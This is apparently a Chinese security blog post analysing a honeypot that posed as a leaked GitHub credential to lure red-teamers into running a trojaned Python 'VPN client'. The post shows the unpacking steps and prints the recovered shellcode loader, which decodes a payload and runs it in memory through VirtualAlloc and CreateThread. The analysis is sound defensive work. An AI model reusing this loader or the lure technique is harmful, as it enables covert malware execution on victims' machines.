记一次有趣的溯源
在某次攻防演练信息搜集的过程中,偶尔发现假装Github信息走漏进而钓鱼红队人员的后门。
下面展开有趣的剖析溯源过程。
0x01 信息搜集
GIthub信息走漏
依据甲方信息停止常规的Github敏感信息搜集偶尔发现一个仓库不简单
这不是mysql账号密码走漏了吗,高兴的翻开Navicat
失败….于是访问源码的8080端口查看一番,发现一个管理后台
弱口令
针对后台尝试一波弱口令,admin/admin 嗯~进来了
进来之后居然发现账号密码而且客户端解压密码都贴心的放了出来
到这里我居然没有发觉到任何异常,以为可以拿到VPN入口权限;抓紧下载VPN客户端。
解压出来这个样子,emmm。。还没发现异常
0x02 剖析溯源
还好有慎重的习气,放入虚拟机瞅瞅。
哦豁,居然提示不兼容当前系统;看到弹窗有Pyhton代码编写的特征。觉得到前面的打点由过于丝滑,不自然的警惕了起来。
包括前面弱口令的提交方式居然为admin.php?user=admin&passwd=admin
由于发现VPN客户端为python言语编写,更不对劲了,反编译看下。
解包
python3 pyinstxtractor.py vpnclient64.exe
生成一个以 exe文件名+_extracted 的文件夹,这个就是解包后的数据
PyInstaller打包后,pyc文件的前8个字节会被抹掉,所以最后要本人添加回去。
添加头
依据struct.py文件
源码
得到py文件,easyvpn64.py为后门主程序,其中执行shellcode代码躲藏至图片中。
经过requests恳求OSS存储中的图片,图片内容为shellcode加载器。
shellcodeLoader局部
import base64 import ctypes str = b'' sc_base64 = (base64.a85decode(str)).decode('utf-8') shellcode = bytearray(bytearray.fromhex((base64.b64decode(sc_base64)).decode('utf-8'))) ptr = ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode))) handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
![头像](/wp-content/themes/zibll/img/avatar-default.png)
- 最新
- 最热
只看作者